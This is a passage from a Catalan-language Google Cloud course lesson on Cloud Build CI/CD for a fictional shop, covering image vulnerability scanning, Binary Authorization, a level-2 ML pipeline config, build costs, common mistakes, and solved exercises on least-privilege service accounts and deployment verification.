Construir la imatge no és el mateix que construir una imatge segura. El Dockerfile del catàleg no fa servir root —bé, decisió del mòdul 2— però arrossega desenes de paquets del sistema base i de PyPI, i qualsevol d'ells pot tenir una vulnerabilitat coneguda.
Artifact Registry analitza automàticament les imatges contra bases de dades públiques de vulnerabilitats, si l'API està activada:
gcloud services enable containerscanning.googleapis.com --project=alpinashop-prod
# Consultar el resultat d'una imatge concreta
gcloud artifacts docker images describe \
europe-west1-docker.pkg.dev/alpinashop-prod/alpinashop/catalogo:$COMMIT_SHA \
--show-package-vulnerability --project=alpinashop-prodEs pot afegir un pas al pipeline que falli si apareixen vulnerabilitats crítiques, i aquí cal prendre una decisió amb el cap fred: bloquejar per qualsevol vulnerabilitat de qualsevol severitat genera tants falsos positius que l'equip acabarà desactivant la comprovació. Un criteri raonable per començar és bloquejar només les crítiques amb correcció disponible i revisar la resta periòdicament.
Binary Authorization va un pas més enllà i respon a una altra pregunta: com impedeixo que es desplegui en producció una imatge que no ha passat pel pipeline? Perquè avui, si algú amb permisos fa kubectl set image apuntant a una imatge construïda al seu portàtil, el clúster l'accepta encantat.
El mecanisme són les atestacions: el pipeline signa criptogràficament les imatges que ha verificat, i una política al clúster exigeix aquella signatura per admetre un desplegament.
flowchart LR
A[Cloud Build:<br/>proves OK] --> B[Signa la imatge<br/>atestació probado-ci]
B --> C[Artifact Registry]
C --> D{Binary Authorization<br/>a alpinashop-prod}
D -->|Té atestació| E[Desplegament admès]
D -->|Sense atestació| F[Desplegament REBUTJAT]
# policy.yaml (simplificat)
defaultAdmissionRule:
evaluationMode: REQUIRE_ATTESTATION
enforcementMode: ENFORCED_BLOCK_AND_AUDIT_LOG
requireAttestationsBy:
- projects/alpinashop-prod/attestors/probado-ci
clusterAdmissionRules:
europe-west1.alpinashop-cluster:
evaluationMode: REQUIRE_ATTESTATION
enforcementMode: ENFORCED_BLOCK_AND_AUDIT_LOG
requireAttestationsBy:
- projects/alpinashop-prod/attestors/probado-ciÉs una peça de maduresa alta i no cal implantar-la el primer dia. Però convé entendre què resol, perquè és l'única manera que la frase "a producció només arriba el que ha passat pel pipeline" sigui una garantia tècnica i no una norma de bona voluntat. La seguretat de la cadena de subministrament de programari es reprèn a 07-04.
- El pipeline d'ML del mòdul 5, portat al nivell 2
A 05-07 va quedar una punta solta explícita. El pipeline de recomanació d'AlpinaShop és al nivell 1 de maduresa: s'executa sol, valida sol i decideix sol. Però el codi del pipeline —els components KFP, la lògica d'entrenament— es continua pujant a mà: la Lucía edita el component, executa el compilador de KFP al seu portàtil i puja el YAML resultant a Cloud Storage.
El nivell 2 consisteix en el fet que un canvi al codi d'entrenament dispari automàticament la compilació del pipeline, la seva execució a Vertex AI i, si supera les portes, el desplegament del model. És exactament el mateix que acabes de fer amb el catàleg, aplicat al codi d'ML:
# cloudbuild-ml.yaml, al repositori d'ML d'AlpinaShop
substitutions:
_REGION: 'europe-west1'
_BUCKET: 'alpinashop-datalake'
steps:
# 1. Proves dels components: són codi Python normal i es proven igual
- name: 'python:3.11-slim'
id: 'pruebas-componentes'
entrypoint: 'bash'
args:
- '-c'
- |
pip install -r requirements.txt -t /workspace/lib
PYTHONPATH=/workspace/lib python -m pytest tests/ -q
# 2. Construir la imatge d'entrenament, etiquetada amb el SHA
- name: 'gcr.io/kaniko-project/executor:v1.23.2'
id: 'imagen-entrenamiento'
waitFor: ['pruebas-componentes']
args:
- '--destination=europe-west1-docker.pkg.dev/alpinashop-datos/alpinashop/entrenamiento-reco:$COMMIT_SHA'
- '--cache=true'
- '--dockerfile=entrenamiento/Dockerfile'
# 3. Compilar el pipeline KFP a la seva definició YAML
- name: 'python:3.11-slim'
id: 'compilar-pipeline'
waitFor: ['imagen-entrenamiento']
entrypoint: 'bash'
args:
- '-c'
- |
PYTHONPATH=/workspace/lib python pipelines/compilar.py \
--imagen-entrenamiento=europe-west1-docker.pkg.dev/alpinashop-datos/alpinashop/entrenamiento-reco:$COMMIT_SHA \
--salida=/workspace/pipeline-reco.yaml
# 4. Publicar la definició i llançar una execució de validació
- name: 'gcr.io/google.com/cloudsdktool/cloud-sdk:slim'
id: 'ejecutar-pipeline'
waitFor: ['compilar-pipeline']
entrypoint: 'bash'
args:
- '-c'
- |
gsutil cp /workspace/pipeline-reco.yaml \
gs://${_BUCKET}/pipelines/reco/$COMMIT_SHA.yaml
PYTHONPATH=/workspace/lib python pipelines/lanzar.py \
--plantilla=gs://${_BUCKET}/pipelines/reco/$COMMIT_SHA.yaml \
--etiqueta-commit=$SHORT_SHA
timeout: '2400s'L'important no és el YAML, és el canvi de comportament que produeix:
| Abans (nivell 1) | Després (nivell 2) |
|---|---|
| La Lucía compila el pipeline al seu portàtil | El compila Cloud Build en màquina neta |
| Els components no tenen proves | pytest sobre els components a cada canvi |
| La imatge d'entrenament s'etiqueta a mà | Etiquetada amb el $COMMIT_SHA |
| Ningú no sap quin codi va generar quin model | El SHA és al llinatge, enllaçat amb 05-07 |
| Un canvi arriba a producció quan algú se'n recorda | Hi arriba sol, si supera les portes de decisió |
I fixa't en la connexió que tanca el cercle: l'etiqueta $COMMIT_SHA de la imatge d'entrenament acaba registrada a les metadades de Vertex AI Pipelines. Això significa que, davant de la pregunta d'auditoria "amb quin codi exacte es va entrenar el model que va fer aquesta recomanació?", la resposta ja no és una conjectura: és un commit concret que es pot consultar a Git.
- Cost de les compilacions
El model de preus de Cloud Build és simple: es paga per minut de compilació, i el preu per minut depèn de la mida de màquina. Hi ha una quota gratuïta mensual generosa per a la màquina per defecte.
Ordres de magnitud —verifica sempre els preus vigents a la documentació oficial, perquè canvien—:
| Mida | CPU / memòria | Cost relatiu per minut | Quan |
|---|---|---|---|
Per defecte (e2-medium) |
1 vCPU / 4 GB | Base (amb nivell gratuït) | Pipelines curts |
E2_HIGHCPU_8 |
8 vCPU / 8 GB | ~8× la base | Compilacions amb moltes proves |
E2_HIGHCPU_32 |
32 vCPU / 32 GB | ~32× la base | Compilacions molt paral·lelitzables |
| Grup privat | Segons màquina | Minuts + màquines reservades | Accés a VPC |
Un càlcul orientatiu per a AlpinaShop: unes 15 compilacions al dia entre pull requests i fusions, a 4 minuts de mitjana en E2_HIGHCPU_8, són uns 60 minuts-màquina diaris, al voltant de 1.800 al mes. Amb la màquina per defecte una part estaria coberta pel nivell gratuït; amb E2_HIGHCPU_8 el cost mensual és de l'ordre de desenes d'euros. Comparat amb el temps d'enginyeria que estalvia, és de les inversions més rendibles de tota la plataforma.
Les quatre palanques per controlar-lo:
- Memòria cau ben configurada. És la que més estalvia, i a més fa feliços els desenvolupadors.
--included-filesals activadors. No compilis perquè ha canviat un fitxer de documentació.- La mida de màquina adequada. Més gran no sempre és millor: si el coll d'ampolla és la xarxa, pagues 8× pel mateix temps.
- Un
timeoutsensat. Sense ell, una compilació penjada consumeix fins a 60 minuts abans de rendir-se.
Errors Habituals i Consells
Esperar que un pas vegi el que ha instal·lat l'anterior fora de /workspace. És l'error número u. Cada pas és un contenidor nou: l'únic que persisteix és el directori compartit. Si instal·les dependències, instal·la-les amb --target=/workspace/... i propaga PYTHONPATH.
Etiquetar amb latest. Ja s'ha dit tres vegades i es diu una quarta perquè és l'error amb pitjors conseqüències: sense etiqueta immutable no hi ha diagnòstic ni reversió. Fes servir $COMMIT_SHA sempre. Si a més vols una etiqueta llegible, afegeix $SHORT_SHA o una versió semàntica al costat del SHA, mai al seu lloc.
Deixar el compte de servei amb permisos amplis "fins que funcioni". Aquell "fins que funcioni" es converteix en permanent. Comença restrictiu i afegeix permisos concrets segons vagin fallant els passos: cada fallada et diu exactament quin permís falta, i així acabes amb la llista mínima real en lloc d'amb Editor.
No comprovar que el desplegament convergeix. kubectl set image retorna èxit tan bon punt Kubernetes accepta l'ordre. Si els pods nous fallen en arrencar, el teu pipeline es posa verd mentre l'aplicació està trencada. kubectl rollout status --timeout=... és obligatori.
Utilitzar un sol dòlar a secretEnv. $EL_MEU_SECRET el prova de substituir Cloud Build i el deixa buit; $$EL_MEU_SECRET arriba al shell. I no imprimeixis mai el valor: els registres no es censuren.
Copiar el codi abans d'instal·lar dependències al Dockerfile. Invalida la memòria cau a cada commit. Ordena les instruccions del que és estable al que és volàtil.
Oblidar logging: CLOUD_LOGGING_ONLY en utilitzar compte de servei propi. Fallada immediata amb un missatge poc descriptiu. És dels primers que apareixen en fer bé les coses.
Pipelines lents. Si la CI triga vint minuts, l'equip deixarà d'esperar-la i fusionarà sense mirar. Tracta la durada del pipeline com una mètrica de producte: paral·lelitza amb waitFor, fes servir memòria cau, i si cal separa les proves ràpides —a cada PR— de les lentes —nocturnes—.
Consell final: comença petit. Un pipeline que només executa les proves a cada pull request ja aporta la major part del valor. Afegeix construcció, després desplegament a desenvolupament, després promoció a producció. Un pipeline perfecte que triga tres mesos a estar llest perd davant d'un de modest que funciona el divendres.
Exercicis
Exercici 1: paral·lelitzar i escurçar el pipeline
El pipeline del catàleg triga 9 minuts: instal·lar 2, proves 3, lint 2, construir 2. La Marta es queixa que les pull requests triguen massa a donar veredicte. Reescriu la secció steps per minimitzar el temps total, calcula la durada teòrica resultant i explica quines altres dues mesures —una al cloudbuild.yaml i una altra al Dockerfile— reduirien més el temps.
Exercici 2: dissenyar els permisos d'un pipeline nou
AlpinaShop vol un pipeline que, en crear una etiqueta Git v*, construeixi la imatge, la publiqui a Artifact Registry, executi les migracions de base de dades sobre alpinashop-pedidos a alpinashop-prod i desplegui en producció després d'aprovació. Enumera els comptes de servei que crearies, els rols exactes de cadascun i justifica per què no en faries servir un de sol. Assenyala a més el risc de seguretat més gran de l'enunciat.
Exercici 3: diagnosticar una compilació que enganya
El pipeline porta dues setmanes en verd. Un client informa que el cercador del catàleg falla des de fa deu dies. En investigar descobreixes tres coses: la cobertura de proves és del 71 % i el cercador no està cobert; el pas de desplegament acaba amb èxit però la versió desplegada a alpinashop-dev és de fa tres setmanes; i en producció hi ha una imatge que ningú no sap d'on ha sortit. Explica la causa més probable de cada troballa i quin canvi concret al pipeline hauria impedit cadascuna.
Solucions
Solució 1
Pipeline reescrit. L'observació clau és que pruebas i lint només depenen d'instalar, no entre si:
steps:
- name: 'python:3.11-slim'
id: 'instalar' # 2 min
entrypoint: 'bash'
args: ['-c', 'pip install -r requirements.txt -r requirements-dev.txt --target=/workspace/lib']
- name: 'python:3.11-slim'
id: 'pruebas' # 3 min, en paral·lel amb lint
waitFor: ['instalar']
entrypoint: 'bash'
env: ['PYTHONPATH=/workspace/lib']
args: ['-c', 'python -m pytest -q']
- name: 'python:3.11-slim'
id: 'lint' # 2 min, en paral·lel amb pruebas
waitFor: ['instalar']
entrypoint: 'bash'
env: ['PYTHONPATH=/workspace/lib']
args: ['-c', 'python -m ruff check catalogo/']
- name: 'gcr.io/kaniko-project/executor:v1.23.2'
id: 'construir' # 2 min
waitFor: ['pruebas', 'lint']
args: ['--destination=${_REPO}/catalogo:$COMMIT_SHA', '--cache=true']Durada teòrica: 2 + max(3, 2) + 2 = 7 minuts, davant de 9. S'estalvien 2 minuts, el temps del lint, que ara és gratis perquè cap dins del de les proves.
Es pot fer força millor. El pas de construcció també depèn només del codi, no que les proves hagin passat. Si el llances en paral·lel amb waitFor: ['-'] des del principi, el temps total baixa a 2 + 3 = 5 minuts. La contrapartida és que construeixes una imatge que potser llençaràs si les proves fallen, cosa que costa 2 minuts de màquina. En una pull request, on la imatge no es publica, és un intercanvi raonable: pagues una mica de còmput per donar veredicte abans.
Mesura al cloudbuild.yaml: pujar el machineType a E2_HIGHCPU_8. Els 3 minuts de pytest acostumen a ser CPU pura i baixen sensiblement amb més nuclis, sobretot si a més afegeixes pytest -n auto amb pytest-xdist per paral·lelitzar les proves dins del pas.
Mesura al Dockerfile: reordenar perquè COPY requirements.txt i la instal·lació vagin abans de COPY . /app. Amb kaniko i --cache=true, la capa de dependències es reutilitza en totes les compilacions on no canviïn les dependències, que són la immensa majoria, i els 2 minuts de construcció es converteixen en segons.
I el consell que embolcalla tot l'exercici: mesura abans d'optimitzar. La consola de Cloud Build mostra la durada de cada pas; els 9 minuts podrien ser 7 de descàrrega d'una dependència gegant, i en aquell cas ni el paral·lelisme ni la màquina gran canviarien res.
Solució 2
Quatre comptes de servei, un per responsabilitat:
| Compte | Rols | Àmbit |
|---|---|---|
sa-build-catalogo |
artifactregistry.writer, logging.logWriter |
Repositori alpinashop a alpinashop-prod |
sa-migraciones-prod |
cloudsql.client, secretmanager.secretAccessor sobre db-password-catalogo |
Instància alpinashop-pedidos |
sa-deploy-prod |
container.developer |
Només el projecte alpinashop-prod |
sa-build-dev |
artifactregistry.writer, container.developer a alpinashop-dev |
Entorn de desenvolupament |
Per què no un de sol: perquè un compte únic seria la unió de tots els permisos, i qualsevol pas del pipeline podria fer qualsevol cosa. Amb la separació, el pas que executa les proves no pot tocar la base de dades de producció encara que algú hi injecti codi maliciós; el pas de migracions no pot desplegar; el de desplegament no pot llegir secrets. És el mateix principi de segregació de funcions de 03-04, aplicat dins d'un procés automàtic. I hi ha un benefici operatiu afegit: quan apareix als registres d'auditoria una operació estranya, la identitat et diu immediatament quina part del pipeline la va fer.
El risc més gran de l'enunciat són les migracions de base de dades, i no és un problema de permisos. Una migració és l'operació menys reversible de tot el pipeline: si kubectl set image surt malament, es torna enrere en trenta segons; si un ALTER TABLE esborra una columna, les dades no tornen. Quatre mesures concretes:
- Còpia de seguretat automàtica i verificada immediatament abans de la migració, com a pas del pipeline que falla si no es completa.
- Migracions compatibles cap enrere: afegir columnes abans d'utilitzar-les, no esborrar mai al mateix desplegament que deixa d'usar-les. Així la versió anterior de l'aplicació continua funcionant amb l'esquema nou, i la reversió és possible.
- Executar primer a
alpinashop-devamb una còpia recent de dades de producció, i que la compilació falli si allà no funciona. - Aprovació manual abans del pas de migració, no només abans del desplegament.
I un advertiment sobre l'activador per etiqueta: qualsevol que pugui crear una etiqueta v* al repositori dispara aquest pipeline. La protecció d'etiquetes a Git és tan important com la de branques, i és un tema de 06-02.
Solució 3
Troballa 1: cobertura del 71 % amb el cercador sense cobrir. La causa és que el llindar --fail-under=70 està mesurant el que no importa: mesura el percentatge global de línies, i un percentatge global alt és perfectament compatible amb que les parts crítiques estiguin al 0 %. El pipeline estava en verd dient la veritat sobre una mètrica irrellevant.
Canvi concret: llindars per mòdul a més del global, exigint cobertura alta als paquets crítics:
python -m coverage report --fail-under=70
python -m coverage report --include='catalogo/buscador/*' --fail-under=85I, més important que el llindar, una prova de fum posterior al desplegament que exerciti els camins principals de l'aplicació contra l'entorn acabat de desplegar. Que el codi estigui cobert no garanteix que el sistema funcioni; una petició real al cercador, sí.
Troballa 2: el desplegament "amb èxit" té tres setmanes. Gairebé segur que hi falta el kubectl rollout status. Els pods nous arrenquen, fallen, Kubernetes manté el ReplicaSet anterior servint trànsit, i el pas del pipeline va acabar amb èxit tan bon punt es va acceptar l'ordre. Tot verd, res desplegat. És la fallada més traïdora d'aquest apartat perquè el sistema t'està mentint activament.
Canvi concret: afegir kubectl rollout status deployment/catalogo-web -n tienda --timeout=180s com a part del mateix pas, més una verificació posterior que comprovi que la imatge realment en execució coincideix amb l'esperada:
DESPLEGADA=$(kubectl get deployment catalogo-web -n tienda \
-o jsonpath='{.spec.template.spec.containers[0].image}')
test "$DESPLEGADA" = "${_REPO}/catalogo:$COMMIT_SHA" || { echo "Imatge inesperada: $DESPLEGADA"; exit 1; }Troballa 3: una imatge en producció que ningú no sap d'on ha sortit. Algú va desplegar a mà, saltant-se el pipeline. És el que passa sempre quan el pipeline no és el camí més còmode: si el desplegament automàtic està trencat —troballa 2— i hi ha una urgència, algú obrirà un terminal.
Canvi concret: Binary Authorization amb atestació emesa pel pipeline, que fa tècnicament impossible desplegar una imatge no verificada. Com a mesura intermèdia mentre s'implanta, retirar roles/container.developer sobre alpinashop-prod a les persones i deixar-lo només a sa-deploy-prod, amb accés d'emergència mitjançant impersonació registrada, tal com es va plantejar a 03-04.
La lliçó que unifica les tres troballes: un pipeline en verd no vol dir que el sistema funcioni. Vol dir que les comprovacions que vas escriure han passat. Si aquelles comprovacions mesuren el que no importa, si no verifiquen el resultat real del desplegament i si el pipeline es pot esquivar, el color verd és pitjor que no tenir pipeline, perquè genera una confiança que ningú no ha guanyat. Les tres troballes, a més, comparteixen un origen comú: ningú no estava mirant. Ni les mètriques, ni els registres, ni l'estat real de producció. Aquella és la mancança que s'ataca a 06-04 i 06-06.
Conclusió
AlpinaShop ha deixat de desplegar des del portàtil d'en Dani.
Saps distingir integració contínua —integrar sovint i verificar cada integració—, lliurament continu —estar sempre llest per desplegar, amb un botó— i desplegament continu —sense botó—, i saps per què AlpinaShop implanta els dos primers i ajorna el tercer fins a tenir la xarxa de seguretat que donen les proves i l'observabilitat.
Coneixes el model de Cloud Build: una seqüència de passos, cadascun un contenidor, sobre un /workspace compartit, amb la conseqüència pràctica que només persisteix el que s'escriu en aquell directori. Saps llegir i escriure un cloudbuild.yaml camp a camp —steps, name, args, env, id, waitFor, substitutions, images, artifacts, options, timeout—, paral·lelitzar amb waitFor perquè la velocitat del pipeline decideix si l'equip el fa servir, i aprofitar $PROJECT_ID i $COMMIT_SHA, amb l'advertiment que només tenen valor quan la compilació ve d'un activador.
Tens el pipeline real del catàleg: instal·lar a /workspace/lib, provar amb pytest i un llindar de cobertura que fa fallar la compilació, analitzar amb ruff i bandit en paral·lel, construir amb kaniko i memòria cau, publicar a Artifact Registry etiquetat amb el SHA i mai amb latest, i desplegar a alpinashop-dev comprovant que el desplegament convergeix de debò. Executant-se a alpinashop-cicd, el projecte que per fi té sentit.
Saps per què el teu build triga vuit minuts i com baixar-ho: memòria cau de kaniko, --cache-from amb el seu || true, i sobretot un Dockerfile ordenat del que és estable al que és volàtil. Coneixes els activadors per branca, per pull request, per etiqueta i manuals, i el filtre --included-files que evita compilar per una errada al README.
I tens el que més disgustos evita: el compte de servei de Cloud Build amb permisos mínims, tres rols i ni un més, perquè el pipeline és el sistema amb més privilegis de tota la infraestructura i l'antipatró de donar-li Editor converteix qualsevol pull request en un vector d'atac. Saps injectar secrets amb availableSecrets i $$, sense que acabin a Git ni als registres. Saps promocionar en lloc de reconstruir, amb aprovació manual i un compte de servei diferent per a producció. Coneixes els grups privats per compilar dins de la VPC, Cloud Deploy per quan el desplegament es compliqui amb canaris i diversos entorns, l'escaneig de vulnerabilitats d'Artifact Registry i Binary Authorization com a única manera que "a producció només arriba el del pipeline" sigui una garantia i no un desig.
I has tancat la primera punta solta del mòdul 5: el pipeline d'ML és al nivell 2 de maduresa, amb els components provats, la imatge d'entrenament etiquetada amb el commit i el llinatge responent amb un SHA concret a la pregunta d'amb quin codi es va entrenar cada model.
Queda, tanmateix, una pregunta incòmoda que hem anat esquivant durant tota la lliçó. Tot això es dispara des d'un repositori. Quin repositori? Perquè el codi del catàleg continua vivint al portàtil d'en Dani, i hi ha fitxers de configuració en una carpeta de Drive que algú va compartir fa any i mig. Un pipeline d'integració contínua sense un control de versions seriós és una casa construïda sobre sorra.
A 06-02 hi posem el fonament: repositoris, estratègia de branques, què ha d'estar versionat i què no, i la conversa honesta sobre Cloud Source Repositories davant de GitHub i GitLab.
Curs de Google Cloud Platform (GCP)
Mòdul 1: Introducció a Google Cloud Platform
- Què és Google Cloud Platform?
- Configuració del teu compte de GCP
- Descripció general de la consola de GCP
- Projectes, jerarquia de recursos i facturació
- Regions, zones i model de responsabilitat compartida
- Cloud Shell i la CLI de gcloud
Mòdul 2: Serveis principals de GCP
- Compute Engine: màquines virtuals a Google Cloud
- Cloud Storage: emmagatzematge d'objectes
- Cloud SQL: bases de dades relacionals gestionades
- App Engine: plataforma com a servei
- Google Kubernetes Engine (GKE)
- Bases de dades NoSQL: Firestore, Bigtable i Spanner
- Com triar el servei de còmput adequat
Mòdul 3: Xarxes i seguretat
- Xarxes VPC
- Balanceig de càrrega al núvol
- Cloud CDN
- Gestió d'identitat i accés (IAM)
- Cloud Armor
- Secrets i xifratge: Secret Manager i Cloud KMS
- Cloud DNS, certificats TLS i publicació segura de serveis
Mòdul 4: Dades i anàlisi
- BigQuery: el magatzem de dades analític
- Cloud Dataflow: processament de dades per lots i en temps real
- Cloud Dataproc: Spark i Hadoop gestionats
- Cloud Pub/Sub: missatgeria asíncrona
- Cloud Data Fusion: integració de dades sense codi
- Orquestració de pipelines amb Cloud Composer i Workflows
- Govern de les dades i taulers amb Dataplex i Looker Studio
Mòdul 5: Aprenentatge automàtic i IA
- Vertex AI: la plataforma d'aprenentatge automàtic de GCP
- AutoML: models a mida sense escriure codi
- TensorFlow a GCP: entrenament i servei de models
- API de llenguatge natural
- API de visió
- IA generativa a Vertex AI: models Gemini i incrustacions
- MLOps: del model al producte amb Vertex AI Pipelines
Mòdul 6: DevOps i monitoratge
- Cloud Build: integració contínua a GCP
- Cloud Source Repositories i gestió del codi font
- Cloud Functions: funcions sense servidor
- Cloud Monitoring (abans Stackdriver): mètriques, taulers i alertes
- Cloud Deployment Manager i infraestructura com a codi nativa
- Cloud Logging i Cloud Trace: registres, traces i diagnòstic
- Terraform a GCP: infraestructura com a codi a la pràctica
Mòdul 7: Temes avançats de GCP
- Híbrid i multinúvol amb Anthos
- Computació sense servidor amb Cloud Run
- Xarxes avançades: VPC compartida, aparellament i connectivitat híbrida
- Bones pràctiques de seguretat
- Gestió i optimització de costos
- Fiabilitat: SLO, alta disponibilitat i recuperació de desastres
- Govern a escala: organització, polítiques i auditoria
